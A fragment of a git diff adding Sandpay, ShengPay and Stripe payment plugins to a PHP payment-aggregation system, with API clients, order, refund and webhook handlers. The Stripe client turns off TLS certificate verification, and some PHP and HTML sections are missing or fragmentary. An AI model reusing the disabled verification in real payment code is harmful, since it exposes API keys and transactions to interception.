"商户订单号:".$bizParam['out_biz_no']."\r\n【付款接口】请求报文:\r\n".$client->request_body."\r\n【付款接口】响应报文:\r\n".$client->response_body."\r\n\r\n"; + file_put_contents(PAY_ROOT.'logs/'.date('Ymd').'.log', $log, FILE_APPEND); + } + return ['code'=>0, 'status'=>$status, 'orderid'=>$result['sandSerialNo'], 'paydate'=>$result['finishedTime']]; + }catch(Exception $ex){ + return ['code'=>-1, 'msg'=>$ex->getMessage()]; + } + } + + //转账查询 + static public function transfer_query($channel, $bizParam){ + if(empty($channel) || empty($bizParam))exit(); + + require(PLUGIN_ROOT.'sandpay/inc/SandpayClient.php'); + + $params = [ + 'mid' => $channel['appid'], + 'outReqDate' => substr($bizParam['out_biz_no'], 0, 8), + 'outOrderNo' => $bizParam['out_biz_no'], + ]; + try{ + $client = new SandpayClient($channel['appid'], $channel['appkey'], $channel['appswitch']); + $result = $client->execute('/v4/sd-payment/api/trans/trans.payment.order.query', $params); + $status = $result['orderStatus'] == 'success' ? 1 : 0; + if($channel['appswitch']==1){ + $log = "商户订单号:".$bizParam['out_biz_no']."\r\n【付款订单查询接口】请求报文:\r\n".$client->request_body."\r\n【付款订单查询接口】响应报文:\r\n".$client->response_body."\r\n\r\n"; + file_put_contents(PAY_ROOT.'logs/'.date('Ymd').'.log', $log, FILE_APPEND); + } + return ['code'=>0, 'status'=>$status]; + }catch(Exception $ex){ + return ['code'=>-1, 'msg'=>$ex->getMessage()]; + } + } + + //余额查询 + static public function balance_query($channel, $bizParam){ + if(empty($channel))exit(); + + require(PLUGIN_ROOT.'sandpay/inc/SandpayClient.php'); + + $params = [ + 'mid' => $channel['appid'], + 'sdaccSubId' => 'payment', + ]; + try{ + $client = new SandpayClient($channel['appid'], $channel['appkey'], $channel['appswitch']); + $result = $client->execute('/v4/sd-payment/api/trans/trans.payment.balance.query', $params); + $account = $result['accountList'][0]; + if($channel['appswitch']==1){ + $log = "商户订单号:".$bizParam['out_biz_no']."\r\n【余额查询接口】请求报文:\r\n".$client->request_body."\r\n【余额查询接口】响应报文:\r\n".$client->response_body."\r\n\r\n"; + file_put_contents(PAY_ROOT.'logs/'.date('Ymd').'.log', $log, FILE_APPEND); + } + if(empty($account)) return ['code'=>-1, 'msg'=>'未查询到账户信息']; + return ['code'=>0, 'amount'=>$account['availableBal'], 'msg'=>'当前账户可用余额:'.$account['availableBal'].' 元,冻结金额:'.$account['frozenBal'].',在途余额:'.$account['transitBal']]; + }catch(Exception $ex){ + return ['code'=>-1, 'msg'=>$ex->getMessage()]; + } + } +} \ No newline at end of file diff --git a/plugins/shengpay/inc/ShengPayClient.php b/plugins/shengpay/inc/ShengPayClient.php new file mode 100644 index 0000000..5290cf2 --- /dev/null +++ b/plugins/shengpay/inc/ShengPayClient.php @@ -0,0 +1,110 @@ +mchId = $mchId; + $this->mchPrivateKey = $mchPrivateKey; + $this->sdpPublicKey = $sdpPublicKey; + } + + //请求API接口并解析返回数据 + public function execute($path, $params) + { + $requrl = $this->gatewayUrl . $path; + $params['mchId'] = $this->mchId; + $params['nonceStr'] = md5(uniqid(mt_rand(), true) . microtime()); + $params['signType'] = $this->signType; + $params['sign'] = $this->generateSign($params); + $response = get_curl($requrl, json_encode($params), 0, 0, 0, 0, 0, ['Content-Type: application/json; charset=utf-8']); + $result = json_decode($response, true); + if(isset($result['returnCode']) && $result['returnCode']=='SUCCESS'){ + if($result['resultCode'] == 'SUCCESS'){ + if(isset($result['sign'])){ + if(!$this->verifySign($result)){ + throw new Exception('返回数据验签失败'); + } + } + return $result; + }else{ + throw new Exception('['.$result['errorCode'].']'.$result['errorCodeDes']); + } + }elseif(isset($result['returnMsg'])){ + throw new Exception($result['returnMsg']); + }else{ + throw new Exception('返回数据解析失败'); + } + } + + //获取待签名字符串 + private function getSignContent($param){ + ksort($param); + $signstr = ''; + + foreach($param as $k => $v){ + if($k != "sign" && $v!=='' && $v!==null){ + $signstr .= $k.'='.$v.'&'; + } + } + $signstr = substr($signstr,0,-1); + return $signstr; + } + + //请求参数签名 + private function generateSign($param){ + return $this->rsaPrivateSign($this->getSignContent($param)); + } + + //验签方法 + public function verifySign($param){ + if(empty($param['sign'])) return false; + return $this->rsaPubilcSign($this->getSignContent($param), $param['sign']); + } + + //应用私钥签名 + private function rsaPrivateSign($data){ + $priKey = $this->mchPrivateKey; + $res = "-----BEGIN RSA PRIVATE KEY-----\n" . + wordwrap($priKey, 64, "\n", true) . + "\n-----END RSA PRIVATE KEY-----"; + $pkeyid = openssl_pkey_get_private($res); + if(!$pkeyid){ + throw new Exception('签名失败,应用私钥不正确'); + } + openssl_sign($data, $signature, $pkeyid); + $signature = base64_encode($signature); + return $signature; + } + + //平台公钥验签 + private function rsaPubilcSign($data, $signature){ + $pubKey = $this->sdpPublicKey; + $res = "-----BEGIN PUBLIC KEY-----\n" . + wordwrap($pubKey, 64, "\n", true) . + "\n-----END PUBLIC KEY-----"; + $pubkeyid = openssl_pkey_get_public($res); + if(!$pubkeyid){ + throw new Exception('验签失败,平台公钥不正确'); + } + $result = openssl_verify($data, base64_decode($signature), $pubkeyid); + return $result === 1; + } +} diff --git a/plugins/shengpay/shengpay_plugin.php b/plugins/shengpay/shengpay_plugin.php new file mode 100644 index 0000000..fbdffde --- /dev/null +++ b/plugins/shengpay/shengpay_plugin.php @@ -0,0 +1,465 @@ + 'shengpay', //支付插件英文名称,需和目录名称一致,不能有重复 + 'showname' => '盛付通', //支付插件显示名称 + 'author' => '盛付通', //支付插件作者 + 'link' => 'https://www.shengpay.com/', //支付插件作者链接 + 'types' => ['alipay','wxpay','bank'], //支付插件支持的支付方式,可选的有alipay,qqpay,wxpay,bank + 'inputs' => [ //支付插件要求传入的参数以及参数显示名称,可选的有appid,appkey,appsecret,appurl,appmchid + 'appid' => [ + 'name' => '商户号', + 'type' => 'input', + 'note' => '', + ], + 'appkey' => [ + 'name' => '商户私钥', + 'type' => 'textarea', + 'note' => '', + ], + 'appsecret' => [ + 'name' => '盛付通公钥', + 'type' => 'textarea', + 'note' => '', + ], + 'appswitch' => [ + 'name' => '收单接口类型', + 'type' => 'select', + 'options' => [0=>'线上',1=>'线下'], + ], + ], + 'select_alipay' => [ + '1' => '扫码支付', + '2' => '电脑网站支付', + '3' => '手机网站支付', + '4' => '服务窗支付', + ], + 'select_wxpay' => [ + '1' => 'JSAPI支付', + '2' => 'Native支付', + '3' => 'H5支付', + '4' => '小程序收银台', + ], + 'select' => null, + 'note' => '如果是微信支付,需要配置绑定AppId和支付目录', //支付密钥填写说明 + 'bindwxmp' => true, //是否支持绑定微信公众号 + 'bindwxa' => false, //是否支持绑定微信小程序 + ]; + + static public function submit(){ + global $siteurl, $channel, $order, $sitename; + + if($order['typename']=='alipay'){ + if(checkalipay() && in_array('4',$channel['apptype']) && !in_array('3',$channel['apptype'])){ + return ['type'=>'jump','url'=>'/pay/alipayjs/'.TRADE_NO.'/?d=1']; + }else{ + return ['type'=>'jump','url'=>'/pay/alipay/'.TRADE_NO.'/']; + } + }elseif($order['typename']=='wxpay'){ + if(checkwechat() && in_array('1',$channel['apptype'])){ + return ['type'=>'jump','url'=>'/pay/wxjspay/'.TRADE_NO.'/?d=1']; + }elseif(checkmobile() && (in_array('3',$channel['apptype']) || in_array('4',$channel['apptype']))){ + return ['type'=>'jump','url'=>'/pay/wxwappay/'.TRADE_NO.'/']; + }else{ + return ['type'=>'jump','url'=>'/pay/wxpay/'.TRADE_NO.'/']; + } + }elseif($order['typename']=='bank'){ + return ['type'=>'jump','url'=>'/pay/bank/'.TRADE_NO.'/']; + } + } + + static public function mapi(){ + global $siteurl, $channel, $order, $conf, $device, $mdevice; + + if($order['typename']=='alipay'){ + if($mdevice=='alipay' && in_array('4',$channel['apptype']) && !in_array('3',$channel['apptype'])){ + return ['type'=>'jump','url'=>$siteurl.'pay/alipayjs/'.TRADE_NO.'/?d=1']; + }else{ + return self::alipay(); + } + }elseif($order['typename']=='wxpay'){ + if($mdevice=='wechat' && in_array('1',$channel['apptype'])){ + return ['type'=>'jump','url'=>$siteurl.'pay/wxjspay/'.TRADE_NO.'/?d=1']; + }elseif($device=='mobile' && (in_array('3',$channel['apptype']) || in_array('4',$channel['apptype']))){ + return self::wxwappay(); + }else{ + return self::wxpay(); + } + }elseif($order['typename']=='bank'){ + return self::bank(); + } + } + + //统一下单 + static private function addOrder($tradeType, $extra=null){ + global $siteurl, $channel, $order, $ordername, $conf, $clientip; + + require_once PAY_ROOT."inc/ShengPayClient.php"; + + $client = new ShengPayClient($channel['appid'], $channel['appkey'], $channel['appsecret']); + + $path = $channel['appswitch'] == 1 ? '/pay/unifiedorderOffline' : '/pay/unifiedorder'; + + $param = [ + 'outTradeNo' => TRADE_NO, + 'totalFee' => intval(round($order['realmoney']*100)), + 'currency' => 'CNY', + 'tradeType' => $tradeType, + 'notifyUrl' => $conf['localurl'].'pay/notify/'.TRADE_NO.'/', + 'pageUrl' => $siteurl.'pay/return/'.TRADE_NO.'/', + 'extra' => $extra, + 'body' => $ordername, + 'clientIp' => $clientip, + ]; + + return \lib\Payment::lockPayData(TRADE_NO, function() use($client, $path, $param) { + $result = $client->execute($path, $param); + \lib\Payment::updateOrder(TRADE_NO, $result['transactionId']); + return $result['payInfo']; + }); + } + + //微信小程序收银台 + static private function wxlite(){ + global $siteurl, $channel, $order, $ordername, $conf, $clientip; + + require_once PAY_ROOT."inc/ShengPayClient.php"; + + $client = new ShengPayClient($channel['appid'], $channel['appkey'], $channel['appsecret']); + + $param = [ + 'outTradeNo' => TRADE_NO, + 'totalFee' => intval(round($order['realmoney']*100)), + 'currency' => 'CNY', + 'notifyUrl' => $conf['localurl'].'pay/notify/'.TRADE_NO.'/', + 'pageUrl' => $siteurl.'pay/return/'.TRADE_NO.'/', + 'nonceStr' => random(32), + 'body' => $ordername, + 'clientIp' => $clientip, + ]; + + return \lib\Payment::lockPayData(TRADE_NO, function() use($client, $param) { + $result = $client->execute('/pay/preUnifieAppletdorder', $param); + \lib\Payment::updateOrder(TRADE_NO, $result['transactionId']); + return $result['payInfo']; + }); + } + + //支付宝支付 + static public function alipay(){ + global $channel, $device, $mdevice, $siteurl; + if(in_array('3',$channel['apptype']) && ($device=='mobile' || checkmobile())){ + $tradeType = 'alipay_wap'; + }elseif(in_array('2',$channel['apptype']) && ($device=='pc' || !checkmobile())){ + $tradeType = 'alipay_pc'; + }elseif(in_array('4',$channel['apptype']) && !in_array('1',$channel['apptype'])){ + $code_url = $siteurl.'pay/alipayjs/'.TRADE_NO.'/'; + $tradeType = 'alipay_jsapi'; + }else{ + $tradeType = 'alipay_qr'; + } + if(!isset($code_url)){ + try{ + $code_url = self::addOrder($tradeType); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'支付宝支付下单失败!'.$ex->getMessage()]; + } + } + + if($tradeType == 'alipay_qr' || $tradeType == 'alipay_jsapi'){ + return ['type'=>'qrcode','page'=>'alipay_qrcode','url'=>$code_url]; + }else{ + return ['type'=>'jump','url'=>$code_url]; + } + } + + static public function alipayjs(){ + [$user_type, $user_id] = alipay_oauth(); + + $blocks = checkBlockUser($user_id, TRADE_NO); + if($blocks) return $blocks; + + if($user_type == 'openid'){ + return ['type'=>'error','msg'=>'支付宝快捷登录获取uid失败,需将用户标识切换到uid模式']; + } + + try{ + $pay_info = self::addOrder('alipay_jsapi', json_encode(['openId'=>$user_id])); + $result = json_decode($pay_info, true); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'支付宝支付下单失败!'.$ex->getMessage()]; + } + + if($_GET['d']=='1'){ + $redirect_url='data.backurl'; + }else{ + $redirect_url='\'/pay/ok/'.TRADE_NO.'/\''; + } + return ['type'=>'page','page'=>'alipay_jspay','data'=>['alipay_trade_no'=>$result['tradeNo'], 'redirect_url'=>$redirect_url]]; + } + + //微信扫码支付 + static public function wxpay(){ + global $channel, $siteurl; + if(in_array('2',$channel['apptype'])){ + try{ + $code_url = self::addOrder('wx_native'); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'微信支付下单失败!'.$ex->getMessage()]; + } + }elseif(in_array('1',$channel['apptype'])){ + $code_url = $siteurl.'pay/wxjspay/'.TRADE_NO.'/'; + }elseif(in_array('4',$channel['apptype'])){ + $code_url = $siteurl.'pay/wxwappay/'.TRADE_NO.'/'; + }else{ + return ['type'=>'error','msg'=>'当前支付通道没有开启的支付方式']; + } + + if (checkmobile()) { + return ['type'=>'qrcode','page'=>'wxpay_wap','url'=>$code_url]; + } else { + return ['type'=>'qrcode','page'=>'wxpay_qrcode','url'=>$code_url]; + } + } + + //微信公众号支付 + static public function wxjspay(){ + global $siteurl, $channel, $order, $ordername, $conf; + + //①、获取用户openid + $wxinfo = \lib\Channel::getWeixin($channel['appwxmp']); + if(!$wxinfo) return ['type'=>'error','msg'=>'支付通道绑定的微信公众号不存在']; + try{ + $tools = new \WeChatPay\JsApiTool($wxinfo['appid'], $wxinfo['appsecret']); + $openid = $tools->GetOpenid(); + }catch(Exception $e){ + return ['type'=>'error','msg'=>$e->getMessage()]; + } + $blocks = checkBlockUser($openid, TRADE_NO); + if($blocks) return $blocks; + + //②、统一下单 + try{ + $pay_info = self::addOrder('wx_jsapi', json_encode(['openId'=>$openid, 'appId'=>$wxinfo['appid']])); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'微信支付下单失败!'.$ex->getMessage()]; + } + + if($_GET['d']==1){ + $redirect_url='data.backurl'; + }else{ + $redirect_url='\'/pay/ok/'.TRADE_NO.'/\''; + } + return ['type'=>'page','page'=>'wxpay_jspay','data'=>['jsApiParameters'=>$pay_info, 'redirect_url'=>$redirect_url]]; + } + + //微信小程序支付 + static public function wxminipay(){ + global $siteurl, $channel, $order, $ordername, $conf; + + $code = isset($_GET['code'])?trim($_GET['code']):exit('{"code":-1,"msg":"code不能为空"}'); + + //①、获取用户openid + $wxinfo = \lib\Channel::getWeixin($channel['appwxa']); + if(!$wxinfo)exit('{"code":-1,"msg":"支付通道绑定的微信小程序不存在"}'); + try{ + $tools = new \WeChatPay\JsApiTool($wxinfo['appid'], $wxinfo['appsecret']); + $openid = $tools->AppGetOpenid($code); + }catch(Exception $e){ + exit('{"code":-1,"msg":"'.$e->getMessage().'"}'); + } + $blocks = checkBlockUser($openid, TRADE_NO); + if($blocks)exit('{"code":-1,"msg":"'.$blocks['msg'].'"}'); + + //②、统一下单 + try{ + $pay_info = self::addOrder('wx_lite', json_encode(['openId'=>$openid, 'appId'=>$wxinfo['appid']])); + }catch(Exception $ex){ + exit('{"code":-1,"msg":"'.$ex->getMessage().'"}'); + } + + exit(json_encode(['code'=>0, 'data'=>json_decode($pay_info, true)])); + } + + //微信手机支付 + static public function wxwappay(){ + global $siteurl,$channel, $order, $ordername, $conf, $clientip; + + if(in_array('3',$channel['apptype'])){ + try{ + $code_url = self::addOrder('wx_wap'); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'微信支付下单失败!'.$ex->getMessage()]; + } + return ['type'=>'jump','url'=>$code_url]; + }elseif(in_array('4',$channel['apptype'])){ + try{ + $code_url = self::wxlite(); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'微信支付下单失败!'.$ex->getMessage()]; + } + return ['type'=>'scheme','page'=>'wxpay_mini','url'=>$code_url]; + }else{ + return self::wxpay(); + } + } + + + //云闪付扫码支付 + static public function bank(){ + global $channel; + try{ + $code_url = self::addOrder('upacp_qr'); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'云闪付下单失败!'.$ex->getMessage()]; + } + + return ['type'=>'qrcode','page'=>'bank_qrcode','url'=>$code_url]; + } + + //异步回调 + static public function notify(){ + global $channel, $order; + + $json = file_get_contents('php://input'); + $data = json_decode($json,true); + if(!$data) return ['type'=>'html','data'=>'no data']; + + require_once PAY_ROOT."inc/ShengPayClient.php"; + + $client = new ShengPayClient($channel['appid'], $channel['appkey'], $channel['appsecret']); + $verify_result = $client->verifySign($data); + + if($verify_result){ + if ($data['status'] == 'PAY_SUCCESS') { + $out_trade_no = $data['outTradeNo']; + $trade_no = $data['transactionId']; + $payerInfo = json_decode($data['payerInfo'], true); + $buyer = $payerInfo['openid']; + $bill_trade_no = $payerInfo['officOrderNum']; + if($out_trade_no == TRADE_NO){ + processNotify($order, $trade_no, $buyer, $bill_trade_no); + } + return ['type'=>'html','data'=>'SUCCESS']; + } + return ['type'=>'html','data'=>'FAIL']; + } + else { + return ['type'=>'html','data'=>'SIGN FAIL']; + } + } + + //支付返回页面 + static public function return(){ + return ['type'=>'page','page'=>'return']; + } + + //支付成功页面 + static public function ok(){ + return ['type'=>'page','page'=>'ok']; + } + + //退款 + static public function refund($order){ + global $channel, $conf; + if(empty($order))exit(); + + require_once PAY_ROOT."inc/ShengPayClient.php"; + + $client = new ShengPayClient($channel['appid'], $channel['appkey'], $channel['appsecret']); + + $param = [ + 'outTradeNo' => $order['trade_no'], + 'outRefundNo' => $order['refund_no'] ? $order['refund_no'] : 'R'.$order['trade_no'], + 'refundFee' => intval(round($order['refundmoney']*100)), + 'notifyUrl' => $conf['localurl'].'pay/refundnotify/'.TRADE_NO.'/', + ]; + + try{ + $result = $client->execute('/refund/orderRefund', $param); + }catch(Exception $e){ + return ['code'=>-1, 'msg'=>$e->getMessage()]; + } + + return ['code'=>0, 'trade_no'=>$result['refundId'], 'refund_fee'=>$result['refundFee']/100]; + } + + //退款异步回调 + static public function refundnotify(){ + global $channel, $order; + + $json = file_get_contents('php://input'); + $data = json_decode($json,true); + if(!$data) return ['type'=>'html','data'=>'no data']; + + require_once PAY_ROOT."inc/ShengPayClient.php"; + + $client = new ShengPayClient($channel['appid'], $channel['appkey'], $channel['appsecret']); + $verify_result = $client->verifySign($data); + + if($verify_result){ + if ($data['refundStatus'] == 'REFUND_SUCCESS') { + $out_trade_no = $data['refundOrderNo']; + $trade_no = $data['refundId']; + + return ['type'=>'html','data'=>'SUCCESS']; + } + return ['type'=>'html','data'=>'FAIL']; + } + else { + return ['type'=>'html','data'=>'SIGN FAIL']; + } + } + + //微信参数配置 + static public function wxconfig(){ + global $siteurl,$channel,$islogin; + if(!$islogin) exit('Access Denied'); + + require_once PAY_ROOT."inc/ShengPayClient.php"; + $client = new ShengPayClient($channel['appid'], $channel['appkey'], $channel['appsecret']); + + if(isset($_POST['appid'])){ + $param = [ + 'subMchId' => $channel['appid'], + 'configType' => '2', + 'appId' => trim($_POST['appid']), + ]; + try{ + $client->execute('/report/appidBind', $param); + showmsg('AppID绑定成功',1); + }catch(Exception $e){ + showmsg('微信参数配置失败!'.$e->getMessage(),4); + } + }elseif(isset($_POST['payurl'])){ + $param = [ + 'subMchId' => $channel['appid'], + 'configType' => '1', + 'payUrl' => trim($_POST['payurl']), + ]; + try{ + $client->execute('/report/appidBind', $param); + showmsg('支付授权目录配置成功',1); + }catch(Exception $e){ + showmsg('微信参数配置失败!'.$e->getMessage(),4); + } + } + + $wxinfo = \lib\Channel::getWeixin($channel['appwxmp']); + + $param = [ + 'subMchId' => $channel['appid'], + 'configType' => '5', + ]; + try{ + $result = $client->execute('/report/appidBind', $param); + $appid_list = json_decode($result['appidConfigArray'], true); + $payurl_list = json_decode($result['payUrlArray'], true); + $data = ['appid_list' => $appid_list, 'payurl_list' => $payurl_list, 'appid'=>$wxinfo ? $wxinfo['appid'] : '']; + include PAY_ROOT.'wxconf.page.php'; + }catch(Exception $e){ + showmsg('微信参数配置查询失败!'.$e->getMessage(),4); + } + } +} \ No newline at end of file diff --git a/plugins/shengpay/wxconf.page.php b/plugins/shengpay/wxconf.page.php new file mode 100644 index 0000000..fb1dc2b --- /dev/null +++ b/plugins/shengpay/wxconf.page.php @@ -0,0 +1,42 @@ + + +
    +

    微信参数配置查询刷新

    +
    +

    已关联的公众号AppID:

    +

    ';}?>

    +

    JSAPI支付授权目录:

    +

    ';}?>

    +
    +
    +
    +

    AppID绑定配置

    +
    +
    +
    + +
    +
    +
    +

    +
    +
    +
    +
    +
    +
    +

    支付授权目录配置

    +
    +
    +
    + +
    +
    +
    +

    +
    +
    +
    +
    +
    \ No newline at end of file diff --git a/plugins/stripe/inc/StripeClient.php b/plugins/stripe/inc/StripeClient.php new file mode 100644 index 0000000..34e2116 --- /dev/null +++ b/plugins/stripe/inc/StripeClient.php @@ -0,0 +1,100 @@ +api_key = $api_key; + } + + public function request($method, $path, $params = null) + { + $url = self::DEFAULT_API_BASE . $path; + [$httpCode, $response] = $this->curl($method, $url, $params); + $arr = json_decode($response, true); + if($httpCode >= 200 && $httpCode < 300 && $arr) { + return $arr; + }elseif(isset($arr['error'])){ + throw new Exception($arr['error']['message']); + }else{ + throw new Exception('返回数据解析失败'); + } + } + + private function getHttpHeaders() + { + $uaString = 'Stripe/v1 PhpBindings/' . self::VERSION; + + $curlVersion = curl_version(); + $clientInfo = [ + 'httplib' => 'curl ' . $curlVersion['version'], + 'ssllib' => $curlVersion['ssl_version'], + ]; + + $langVersion = PHP_VERSION; + $uname = function_exists('php_uname') ? php_uname() : '(disabled)'; + + $ua = [ + 'bindings_version' => self::VERSION, + 'lang' => 'php', + 'lang_version' => $langVersion, + 'publisher' => 'stripe', + 'uname' => $uname, + ]; + if ($clientInfo) { + $ua = array_merge($clientInfo, $ua); + } + + return [ + 'X-Stripe-Client-User-Agent: ' . json_encode($ua), + 'User-Agent: ' . $uaString, + 'Authorization: Bearer ' . $this->api_key, + ]; + } + + private function curl($method, $url, $params = null) + { + $httpheaders = $this->getHttpHeaders(); + + $ch = curl_init(); + curl_setopt($ch, CURLOPT_FAILONERROR, false); + curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); + curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); + curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); + curl_setopt($ch, CURLOPT_HTTPHEADER, $httpheaders); + + if ($method == 'post') { + if(is_array($params)) $params = http_build_query($params); + curl_setopt($ch, CURLOPT_POST, true); + curl_setopt($ch, CURLOPT_POSTFIELDS, $params); + } elseif($method == 'delete') { + curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'DELETE'); + if($params && count($params) > 0) { + $url .= '?' . http_build_query($params); + } + } elseif($method == 'get') { + if($params && count($params) > 0) { + $url .= '?' . http_build_query($params); + } + } + curl_setopt($ch, CURLOPT_URL, $url); + $response = curl_exec($ch); + + if (curl_errno($ch)) { + throw new Exception(curl_error($ch)); + } + $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); + + curl_close($ch); + return [$httpCode, $response]; + } +} \ No newline at end of file diff --git a/plugins/stripe/inc/Webhook.php b/plugins/stripe/inc/Webhook.php new file mode 100644 index 0000000..e8e2b79 --- /dev/null +++ b/plugins/stripe/inc/Webhook.php @@ -0,0 +1,96 @@ + 0) && (abs(time() - $timestamp) > $tolerance)) { + return false; + } + + return true; + } + + private static function getTimestamp($header) + { + $items = explode(',', $header); + + foreach ($items as $item) { + $itemParts = explode('=', $item, 2); + if ('t' === $itemParts[0]) { + if (!is_numeric($itemParts[1])) { + return false; + } + + return (int) ($itemParts[1]); + } + } + + return false; + } + + private static function getSignatures($header, $scheme) + { + $signatures = []; + $items = explode(',', $header); + + foreach ($items as $item) { + $itemParts = explode('=', $item, 2); + if (trim($itemParts[0]) === $scheme) { + $signatures[] = $itemParts[1]; + } + } + + return $signatures; + } + + private static function computeSignature($payload, $secret) + { + return hash_hmac('sha256', $payload, $secret); + } +} \ No newline at end of file diff --git a/plugins/stripe/stripe_plugin.php b/plugins/stripe/stripe_plugin.php new file mode 100644 index 0000000..2125b2a --- /dev/null +++ b/plugins/stripe/stripe_plugin.php @@ -0,0 +1,293 @@ + 'stripe', //支付插件英文名称,需和目录名称一致,不能有重复 + 'showname' => 'Stripe', //支付插件显示名称 + 'author' => 'Stripe', //支付插件作者 + 'link' => 'https://stripe.com/', //支付插件作者链接 + 'types' => ['alipay','wxpay','bank','paypal'], //支付插件支持的支付方式,可选的有alipay,qqpay,wxpay,bank + 'inputs' => [ //支付插件要求传入的参数以及参数显示名称,可选的有appid,appkey,appsecret,appurl,appmchid + 'appid' => [ + 'name' => 'API密钥', + 'type' => 'textarea', + 'note' => 'sk_live_开头的密钥', + ], + 'appkey' => [ + 'name' => 'Webhook密钥', + 'type' => 'textarea', + 'note' => 'whsec_开头的密钥', + ], + 'appswitch' => [ + 'name' => '支付模式', + 'type' => 'select', + 'options' => [0=>'跳转收银台',1=>'直接支付(仅限支付宝/微信)'], + ], + 'currency_code' => [ + 'name' => '结算货币', + 'type' => 'select', + 'options' => [ + 'CNY' => '人民币 (CNY)', + 'HKD' => '港币 (HKD)', + 'EUR' => '欧元 (EUR)', + 'USD' => '美元 (USD)', + 'AUD' => '澳元 (AUD)', + 'CAD' => '加拿大元 (CAD)', + 'GBP' => '英镑 (GBP)', + 'BRL' => '巴西雷亚尔 (BRL)', + 'CZK' => '克朗 (CZK)', + 'DKK' => '丹麦克朗(DKK)', + 'HUF' => '匈牙利福林 (HUF)', + 'INR' => '印度卢比 (INR)', + 'ILS' => '以色列新谢克尔 (ILS)', + 'JPY' => '日元 (JPY)', + 'MYR' => '马来西亚林吉特 (MYR)', + 'MXN' => '墨西哥比索 (MXN)', + 'TWD' => '新台币 (TWD)', + 'NZD' => '新西兰元 (NZD)', + 'NOK' => '挪威克朗 (NOK)', + 'PHP' => '菲律宾比索 (PHP)', + 'PLN' => '波兰兹罗提 (PLN)', + 'RUB' => '俄罗斯卢布 (RUB)', + 'SGD' => '新加坡元 (SGD)', + 'SEK' => '瑞典克朗 (SEK)', + 'CHF' => '瑞士法郎 (CHF)', + 'THB' => '泰铢 (THB)', + ], + ], + 'currency_rate' => [ + 'name' => '货币汇率', + 'type' => 'input', + 'note' => '例如1元人民币兑换0.137美元(USD),则此处填0.137', + ], + ], + 'select' => null, + 'note' => '需设置WebHook地址:[siteurl]pay/webhook/[channel]/
    侦听的事件,直接支付用: payment_intent.succeeded,跳转收银台用:checkout.session.completed、checkout.session.async_payment_succeeded', //支付密钥填写说明 + 'bindwxmp' => false, //是否支持绑定微信公众号 + 'bindwxa' => false, //是否支持绑定微信小程序 + ]; + + static public function submit(){ + global $siteurl, $channel, $order, $ordername, $sitename, $conf; + + if($channel['appswitch'] == 1 && $order['typename']=='alipay'){ + return ['type'=>'jump','url'=>'/pay/alipay/'.TRADE_NO.'/']; + }elseif($channel['appswitch'] == 1 && $order['typename']=='wxpay'){ + return ['type'=>'jump','url'=>'/pay/wxpay/'.TRADE_NO.'/']; + } + + require_once PAY_ROOT.'inc/StripeClient.php'; + + if($order['typename']=='alipay'){ + $payment_method='alipay'; + }elseif($order['typename']=='wxpay'){ + $payment_method='wechat_pay'; + }elseif($order['typename']=='paypal'){ + $payment_method='paypal'; + }else{ + $payment_method=''; + } + + if(!$channel['currency_rate']) $channel['currency_rate'] = 1; + if(!$channel['currency_code']) $channel['currency_code'] = 'cny'; + $amount = intval(round($order['realmoney'] * $channel['currency_rate'] * 100)); + + try{ + $stripe = new Stripe\StripeClient($channel['appid']); + $data = [ + 'success_url' => $siteurl.'pay/return/'.TRADE_NO.'/', + 'cancel_url' => $siteurl.'pay/error/'.TRADE_NO.'/', + 'client_reference_id' => TRADE_NO, + 'line_items' => [[ + 'price_data' => [ + 'currency' => strtolower($channel['currency_code']), + 'product_data' => [ + 'name' => $ordername + ], + 'unit_amount' => $amount + ], + 'quantity' => 1 + ]], + 'mode' => 'payment' + ]; + if($payment_method)$data['payment_method_types'] = [$payment_method]; + if($payment_method == 'wechat_pay'){ + $data['payment_method_options']['wechat_pay']['client'] = 'web'; + } + $result = $stripe->request('post', '/v1/checkout/sessions', $data); + $jump_url = $result['url']; + return ['type'=>'jump','url'=>$jump_url]; + }catch(Exception $e){ + return ['type'=>'error','msg'=>$e->getMessage()]; + } + } + + static private function paymentintent($payment_method){ + global $siteurl, $channel, $order, $ordername, $conf; + + require_once PAY_ROOT.'inc/StripeClient.php'; + + $stripe = new Stripe\StripeClient($channel['appid']); + + $data = ['type' => $payment_method]; + try{ + $result = $stripe->request('post', '/v1/payment_methods', $data); + $payment_method_id = $result['id']; + }catch(Exception $e){ + throw new Exception('创建支付方式失败:'.$e->getMessage()); + } + + if(!$channel['currency_rate']) $channel['currency_rate'] = 1; + if(!$channel['currency_code']) $channel['currency_code'] = 'cny'; + $amount = intval(round($order['realmoney'] * $channel['currency_rate'] * 100)); + + $data = [ + 'amount' => $amount, + 'currency' => strtolower($channel['currency_code']), + 'confirm' => 'true', + 'payment_method' => $payment_method_id, + 'payment_method_types' => [$payment_method], + 'description' => $ordername, + 'metadata' => [ + 'order_id' => TRADE_NO, + ], + 'return_url' => $siteurl.'pay/return/'.TRADE_NO.'/', + ]; + if($payment_method == 'wechat_pay'){ + $data['payment_method_options']['wechat_pay']['client'] = 'web'; + } + $result = $stripe->request('post', '/v1/payment_intents', $data); + if($payment_method == 'alipay'){ + $url = $result['next_action']['alipay_handle_redirect']['url']; + }elseif($payment_method == 'wechat_pay'){ + $url = $result['next_action']['wechat_pay_display_qr_code']['data']; + }else{ + $url = $result['next_action']['redirect_to_url']['url']; + } + return $url; + } + + static public function alipay(){ + try{ + $url = self::paymentintent('alipay'); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'支付宝支付下单失败!'.$ex->getMessage()]; + } + + return ['type'=>'jump','url'=>$url]; + } + + static public function wxpay(){ + try{ + $url = self::paymentintent('wechat_pay'); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'微信支付下单失败!'.$ex->getMessage()]; + } + + if(checkwechat()){ + return ['type'=>'jump','url'=>$url]; + } elseif (checkmobile()) { + return ['type'=>'qrcode','page'=>'wxpay_wap','url'=>$url]; + } else { + return ['type'=>'qrcode','page'=>'wxpay_qrcode','url'=>$url]; 